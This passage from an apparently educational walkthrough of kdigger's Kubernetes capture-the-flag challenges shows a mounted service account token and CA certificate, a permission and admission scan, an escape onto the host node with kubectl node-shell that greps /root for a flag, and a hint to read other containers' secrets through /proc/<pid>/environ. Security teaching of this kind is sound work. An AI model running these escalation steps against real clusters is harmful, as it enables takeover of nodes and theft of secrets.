# kdigger dig tk auth ### TOKEN ### Comment: A service account token is mounted. +-----------+--------------------------------------+--------------------------------------+ | NAMESPACE | TOKEN | CA | +-----------+--------------------------------------+--------------------------------------+ | default | eyJhbGciOiJSUzI1NiIsImtpZCI6IkN4UHhX | -----BEGIN CERTIFICATE----- | | | N1QtZU81LURIUERCM3dTSGpTZ3pOaUdOWGNM | MIIDBjCCAe6gAwIBAgIBATANBgkqhkiG9w0B | | | YnVFY0hEbnJMblUifQ.eyJhdWQiOlsiaHR0c | AQsFADAVMRMwEQYDVQQDEwptaW5p | | | HM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjL | a3ViZUNBMB4XDTIxMDMyMzE3MDAyMloXDTMx | | | mNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNjYzM | MDMyMjE3MDAyMlowFTETMBEGA1UE | | | TU1NjEwLCJpYXQiOjE2MzE2MTk2MTAsImlzc | AxMKbWluaWt1YmVDQTCCASIwDQYJKoZIhvcN | | | yI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhd | AQEBBQADggEPADCCAQoCggEBAM/6 | | | Wx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZ | qEv1HWFmJZf5Y70T06F9+YUgBgVkKUifLIZc | | | XJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZ | b8gmjKRgROXHdlcAJHPHs7tZiFQ+ | | | WZhdWx0IiwicG9kIjp7Im5hbWUiOiJvcGVyY | YEv28E46k2qdXj61DTWQAK4ztyGguZIYeVkY | | | XRvci1yY2UiLCJ1aWQiOiJhM2I2YmI5My1iN | 5oia23s6xFhByyqrHbinjSPqQaxm | | | Tk4LTRlYmEtOTMxNC02NmVkZmI3ZTZhNDIif | xHerNE2ae/opzVJNYAYACdxGRorlRAN0OHS0 | | | Swic2VydmljZWFjY291bnQiOnsibmFtZSI6I | lnCk+flWjofLURzobtV54PEzMxov | | | m9wZXJhdG9yIiwidWlkIjoiYWRkYTU1YTMtM | iYoNOkrYVnFe/zryuQPndQmKqElvcz8HC2jY | | | zE0OC00YWJiLTkwY2ItODI3MWVhODQ1ZjQ5I | iSikTgdCrrGxXABf+kYxBanp7a0a | | | n0sIndhcm5hZnRlciI6MTYzMTYyMzIxN30sI | LR/KDeD0Lv+xeRcQ8bbDVwUUy6VHif6k7tOs | | | m5iZiI6MTYzMTYxOTYxMCwic3ViIjoic3lzd | pyiUWW6uNLAfwZXpzbE6gfdxUx5N | | | GVtOnNlcnZpY2VhY2NvdW50OmRlZmF1bHQ6b | FGQTRNT7QMQy7DaEAJ8CAwEAAaNhMF8wDgYD | | | 3BlcmF0b3IifQ.oSmsyUOP0GRGmzeQP17MvG | VR0PAQH/BAQDAgKkMB0GA1UdJQQW | | | A_zv5SG7GSFL61Y18sk9AkjdQnjdv0SRdbKz | MBQGCCsGAQUFBwMCBggrBgEFBQcDATAPBgNV | | | MPeoHLH-Hk1GI7ZMlDTxsNuiModoUu4M85ZG | HRMBAf8EBTADAQH/MB0GA1UdDgQW | | | nKgjWIKv3BZAbGTadLK0rjhNRlbAmY5I6uto | BBSPYIvBWy4s6dZE/Xo/fxd8ktn1aDANBgkq | | | rXnalmAeStRKvxlL2SUBrH1OSkxd9CUj4tWx | hkiG9w0BAQsFAAOCAQEApTKOMILF | | | aCt-BjfXZ7e8BKC-f7LtVCjtHfRlzzgJOd0Z | 31MOdaMMAF/SEH9QAN/C7vvE2hE/7aWrtZhU | | | z61mCbS2Q756BzmD9jbP4UD4OzwNMcGDISyg | tFFFRpnXBz2S4Xu+P1stEzqfHo6g | | | SKYB1IifLLIfMEt_W3mprkRDiWYvE_yDr7dY | AEXJhWe9RAnCVmHhg3hA5405VHYggmR35Wmr | | | Cu0IlpI9cOls46LKGwu9OUE5TjVU_DuRZ8ao | CDMqyaBTpix0YnG1SXetYXE8vLnV | | | J0uzVqsjNZFntSO-CtefcqQUjx3e4Srw | tVHHmszW7y+h4S+ODovnxxI8eMqr7th0wI5G | | | | LjZTUnqzPKGt2l8NhqeaukDvbXth | | | | KpjekcEbxkaPDJt8AehuLZ/74qAGijMQOLKq | | | | XGuwGKCTf/79PF6ldWCfHKbLpH0r | | | | tcSeGC5MulXMHEFP9ghLtizT3hQxE1c+//jX | | | | YxXt7Zw6vurzntOPwZwvmYtcTVnM | | | | hfG5+fdkU2rIIA== -----END | | | | CERTIFICATE----- | +-----------+--------------------------------------+--------------------------------------+ ### AUTHORIZATION ### Comment: Checking current context/token permissions in the "default" namespace. +----------------------------+----------------------------+----------------+-------------------------+ | RESOURCES | NONRESOURCEURLS | RESSOURCENAMES | VERBS | +----------------------------+----------------------------+----------------+-------------------------+ | pods | [] | [] | [create get watch list] | | pods/attach | [] | [] | [create] | | pods/exec | [] | [] | [create] | | selfsubjectaccessreviews.a | [] | [] | [create] | | uthorization.k8s.io | | | | | selfsubjectrulesreviews.au | [] | [] | [create] | | thorization.k8s.io | | | | | | [/.well-known/openid-confi | [] | [get] | | | guration] | | | | | [/api/*] | [] | [get] | | | [/api] | [] | [get] | | | [/apis/*] | [] | [get] | | | [/apis] | [] | [get] | | | [/healthz] | [] | [get] | | | [/healthz] | [] | [get] | | | [/livez] | [] | [get] | | | [/livez] | [] | [get] | | | [/openapi/*] | [] | [get] | | | [/openapi] | [] | [get] | | | [/openid/v1/jwks] | [] | [get] | | | [/readyz] | [] | [get] | | | [/readyz] | [] | [get] | | | [/version/] | [] | [get] | | | [/version/] | [] | [get] | | | [/version] | [] | [get] | | | [/version] | [] | [get] | | pods/log | [] | [] | [get] | +----------------------------+----------------------------+----------------+-------------------------+
Then, a good idea is to scan the admission control chain to see if you can create a pod that will mount the host volume and access its data. kdigger can perform this scan for you, it will try to create a pod with specific parts. Here we have to specify the -a (or --active) flag because the admission bucket performs side effects, and the --admission-force flag because we have no right to delete the pod that will be created during the process.
# kdigger dig adm -a --admission-force ### ADMISSION ### +------------------------+---------+-------+ | POD | SUCCESS | ERROR | +------------------------+---------+-------+ | hostPIDPod | true | | | hostPathPod | true | | | runAsRootPod | true | | | privilegeEscalationPod | true | | | hostNetworkPod | true | | | privilegedPod | true | | +------------------------+---------+-------+
To finish this step, we can craft our special pod to mount the host filesystem and grep into the /root folder. For this pod creation escalation process, you can also use the fork I made from a tool named kubectl node-shell to mount all the host namespace into a new pod. It is already installed into the second challenge pod. Try it with:
# kubectl node-shell --incluster No node name was specified, selecting random node spawning "nsenter-m0qqr4" on a random node If you don't see a command prompt, try pressing enter. # grep -nr quarksflag /root /root/my-little-secret.txt:1:quarksflag{TaHuqyN2yVh9veKE2VcmUw}
You can also refer to the excellent article and repository by the BishopFox Lab about "Bad Pods". It details how to exploit every situation. For instance, "allowed to create hostPath pods only", or "allowed to create hostPid pods only", etc.
Challenge 3
The third challenge script gives you almost no context. It is supposed to be more difficult and thus you have to search around by yourself to know what to look for.
The idea is to check the running processes and notice the /pause process that is a hint that the pod containers might use shareProcessNamespace, thus have a common PID namespace. The /pause process is a special container in the pod that holds the network namespace, it is for the namespaces to survive if any workload container crashes.
kdigger directly looks for this kind of processes to analyze the PID namespace:
# kdigger dig ps pidns ### PROCESSES ### Comment: 7 processes running, systemd not found as the first process +-----+------+---------+ | PID | PPID | NAME | +-----+------+---------+ | 1 | 0 | pause | | 7 | 0 | bash | | 15 | 7 | sleep | | 16 | 0 | sh | | 58 | 0 | bash | | 71 | 16 | sleep | | 77 | 58 | kdigger | +-----+------+---------+ ### PIDNAMESPACE ### Comment: the pause process was found, pod might have shareProcessNamespace to true +--------------+------------+--------------+ | DEVICENUMBER | PAUSEFOUND | KUBELETFOUND | +--------------+------------+--------------+ | 208 | true | false | +--------------+------------+--------------+
Then you have to look into the environment variable of another (suspicious) container in the pod by inspecting the /proc/<pid>/environ file to find the flag.
Conclusion
Kubernetes security is a wide topic. kdigger and the accompanying challenges highlight some issues we might have run into a Kubernetes cluster:
- A privileged container is not isolated at all and can leak information from other supposedly well configured colocated containers.
- Having the right to create a pod, in most Kubernetes clusters (those without specific admission controllers configured) is equal to being root on any node.
- Compromised sidecars, i.e. containers running along the main container of a pod, can leak information about the main container environment.
We hope this tool will help you during auditing sessions and otherwise, that you could learn some Kubernetes special tricks by trying some of its buckets.